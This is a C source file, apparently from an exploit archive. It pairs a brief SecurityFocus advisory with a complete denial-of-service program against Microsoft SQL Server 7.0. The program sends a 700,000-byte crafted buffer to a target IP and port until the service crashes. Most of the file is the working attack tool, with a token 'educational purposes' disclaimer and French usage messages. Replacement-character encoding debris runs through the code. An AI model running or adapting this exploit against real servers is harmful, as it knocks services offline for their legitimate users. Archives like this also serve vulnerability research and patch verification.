66 lines
No EOL
2.5 KiB
C
66 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/11265/info
|
||
|
||
Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications.
|
||
|
||
An attacker may leverage this issue to cause the affected server to crash, denying service to legitimate users.
|
||
|
||
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
|
||
<EFBFBD>* By sending a large buffer with specified data an attacker can stop the service
|
||
<EFBFBD>* "mssqlserver" the error noticed is different according to services' pack but the result is always
|
||
<EFBFBD>* the same one.
|
||
<EFBFBD>*<2A> Exception Codes = c0000005
|
||
<EFBFBD>* vulnerable:<3A> MSSQL7.0 sp0 - sp1 - sp2 - sp3
|
||
<EFBFBD>* This code is for educational purposes, I am not responsible for your acts
|
||
<EFBFBD>* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
|
||
#include <stdio.h>
|
||
#include <winsock.h>
|
||
#pragma comment(lib,"ws2_32")
|
||
u_long resolv(char*);
|
||
|
||
void main(int argc, char **argv) {
|
||
<EFBFBD>WSADATA WinsockData;
|
||
<EFBFBD>SOCKET s;
|
||
<EFBFBD>int i;
|
||
<EFBFBD>struct sockaddr_in vulh;
|
||
<EFBFBD>char buffer[700000];
|
||
<EFBFBD>for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);
|
||
|
||
<EFBFBD>if (argc!=3) {
|
||
<EFBFBD> printf("<EFBFBD> MSSQL denial of service\n");
|
||
<EFBFBD> printf("<EFBFBD><EFBFBD><EFBFBD> by securma massine\n");
|
||
<EFBFBD> printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n");
|
||
<EFBFBD> printf("Syntaxe: MSSQLdos <ip> <port>\n");
|
||
<EFBFBD> exit(1);
|
||
<EFBFBD>}
|
||
<EFBFBD>WSAStartup(0x101,&WinsockData);
|
||
<EFBFBD>s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|
||
<EFBFBD>ZeroMemory(&vulh,sizeof(vulh));
|
||
<EFBFBD>vulh.sin_family=AF_INET;
|
||
<EFBFBD>vulh.sin_addr.s_addr=resolv(argv[1]);
|
||
<EFBFBD>vulh.sin_port=htons(atoi(argv[2]));
|
||
<EFBFBD>if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
|
||
<EFBFBD> printf("Impossible de se connecter...le port est en generale 1433...\n");
|
||
<EFBFBD> exit(1);
|
||
<EFBFBD>}
|
||
<EFBFBD> {
|
||
<EFBFBD> send(s,buffer,sizeof(buffer),0);
|
||
<EFBFBD>
|
||
<EFBFBD> printf("Data envoyes...\n");
|
||
<EFBFBD>}
|
||
<EFBFBD>printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n");
|
||
<EFBFBD>closesocket(s);
|
||
<EFBFBD>WSACleanup();
|
||
}
|
||
|
||
u_long resolv(char *host_name) {
|
||
<EFBFBD>struct in_addr addr;
|
||
<EFBFBD>struct hostent *host_ent;
|
||
<EFBFBD>if ((addr.s_addr = inet_addr(host_name)) == -1) {
|
||
<EFBFBD> if (!(host_ent = gethostbyname(host_name))) {
|
||
<EFBFBD><EFBFBD> printf ("Erreur DNS : Impossible de r<>soudre l'adresse %s !!!\n",host_name);
|
||
<EFBFBD><EFBFBD> exit(1);
|
||
<EFBFBD> }
|
||
<EFBFBD> CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
|
||
<EFBFBD>}
|
||
<EFBFBD>return addr.s_addr;
|
||
} |